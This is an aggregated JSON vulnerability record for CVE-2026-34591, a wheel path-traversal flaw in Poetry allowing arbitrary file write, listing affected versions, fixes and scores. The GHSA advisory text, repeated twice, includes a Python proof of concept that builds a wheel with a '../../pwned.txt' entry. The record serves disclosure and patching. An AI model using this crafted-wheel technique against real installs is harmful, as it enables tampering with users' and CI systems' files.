{"id":"CVE-2026-34591","aliases":["AZL-81899","DEBIAN-CVE-2026-34591","EUVD-2026-18454","GHSA-2599-h6xx-hpxp","PYSEC-2026-2260","ROOT-APP-PYPI-CVE-2026-34591","SUSE-SU-2026:1220-1","UBUNTU-CVE-2026-34591"],"status":"published","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00486,"percentile":0.42207,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-04-01T22:17:36Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"PyPI","package":"poetry","fixed_in":["2.3.3"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"poetry","fixed_in":["1.8.5-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"poetry","fixed_in":["2.1.2+dfsg-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"poetry","fixed_in":["2.3.4-0.1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-poetry","fixed_in":["2.3.2+root.io.1","2.3.2+root.io.2","2.3.2+root.io.3"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"poetry","fixed_in":["2.3.2+aikido.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.4.0"},{"last_affected":"2.3.2"},{"fixed":"2.3.3"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.5-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.2+dfsg-3","1.3.2+dfsg-4","1.3.2+dfsg-5","1.5.1+dfsg-1","1.5.1+dfsg-2","1.5.1+dfsg-3","1.5.1+dfsg-4","1.6.1+dfsg-1","1.6.1+dfsg-2","1.7.1+dfsg-1","1.8.0.dev0~git20240220.cff4d7d5+dfsg-1","1.8.0.dev0~git20240220.cff4d7d5+dfsg-2","1.8.2+dfsg-1","1.8.3+dfsg-1","1.8.3+dfsg-2","1.8.3+dfsg-3","1.8.3+dfsg-4","2.0.1+dfsg-1","2.1.1+dfsg-1","2.1.1+dfsg-2","2.1.1+dfsg-3","2.1.2+dfsg-1","2.2.1+dfsg-1","2.2.1+dfsg-2","2.2.1+dfsg-3","2.3.2+dfsg-1","2.3.2+dfsg-2","2.3.2+dfsg-3","2.3.4-0.1","2.3.4-1","2.3.4-2"]},{"source":"osv","ecosystem":"Debian:13","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2+dfsg-1+deb13u1"}]}],"versions":["2.1.2+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.4-0.1"}]}],"versions":["2.1.2+dfsg-1","2.2.1+dfsg-1","2.2.1+dfsg-2","2.2.1+dfsg-3","2.3.2+dfsg-1","2.3.2+dfsg-2","2.3.2+dfsg-3"]},{"source":"osv","ecosystem":"PyPI","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.4.0"},{"fixed":"2.3.3"}]}],"versions":["1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","2.0.0","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2"]},{"source":"osv","ecosystem":"PyPI","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.4.0"},{"fixed":"2.3.3"}]}],"versions":["1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","2.0.0","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2"]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.2+root.io.1"},{"fixed":"2.3.2+root.io.2"},{"fixed":"2.3.2+root.io.3"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.2+aikido.3"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.11+dfsg-3","1.1.12+dfsg-1","1.1.12+dfsg-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.1+dfsg-2","1.7.1+dfsg-1","1.8.2+dfsg-1ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.1+dfsg-3","2.1.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.2+dfsg-3","2.3.4-0.1","2.3.4-1","2.3.4-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"poetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.2+dfsg-1","2.3.2+dfsg-3"]}],"products":[{"vendor":"python-poetry","product":"poetry"}],"references":[{"url":"https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/python-poetry/poetry/pull/10792","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/python-poetry/poetry/releases/tag/2.3.3","tags":["x_refsource_MISC","Product","Release Notes","web","advisory"]},{"url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-2599-h6xx-hpxp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34591.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-34591","tags":["advisory"]},{"url":"https://github.com/python-poetry/poetry","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261220-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1261383","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34591","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-34591","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34591","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-34591","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T17:35:07.691Z","modified":"2026-04-03T18:12:07.813Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-18454","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T17:35:07Z","modified":"2026-04-03T18:12:07Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:16.550278Z"}],"ghsa":[{"id":"GHSA-2599-h6xx-hpxp","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","description":"### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```","status":"published","published":"2026-04-01T22:17:36Z","modified":"2026-04-15T20:53:27Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-34591","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T18:16:31.163Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34591","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T17:35:07.691Z","modified":"2026-10-28T02:30:34.027953107Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"DEBIAN-CVE-2026-34591","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T18:16:31.163Z","modified":"2026-10-01T03:03:22.770207341Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-2599-h6xx-hpxp","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","description":"### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```","status":"published","published":"2026-04-01T22:17:36Z","modified":"2026-09-10T03:50:42.075152286Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"PYSEC-2026-2260","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T18:16:31.163Z","modified":"2026-07-13T07:15:36.423234295Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-34591","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T18:16:00Z","modified":"2026-10-17T12:58:12.456784943Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"AZL-81899","title":"CVE-2026-34591 affecting package poetry for versions less than 1.8.5-1","description":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","status":"published","published":"2026-04-02T18:16:31Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:24.988217Z"},{"id":"ROOT-APP-PYPI-CVE-2026-34591","title":"CVE-2026-34591 in rootio-poetry - Patched by Root","description":"Root has patched CVE-2026-34591 in the rootio-poetry package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-06-03T18:41:37Z","modified":"2026-06-04T02:00:30.776377799Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:1220-1","title":"Security update for python-poetry","description":"This update for python-poetry fixes the following issue:\n\n- CVE-2026-34591: From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write (bsc#1261383).\n","status":"withdrawn","published":"2026-04-08T16:03:04Z","modified":"2026-07-13T14:00:33.80273277Z","updated_at":"2026-11-02T15:54:01.262144Z"}]}}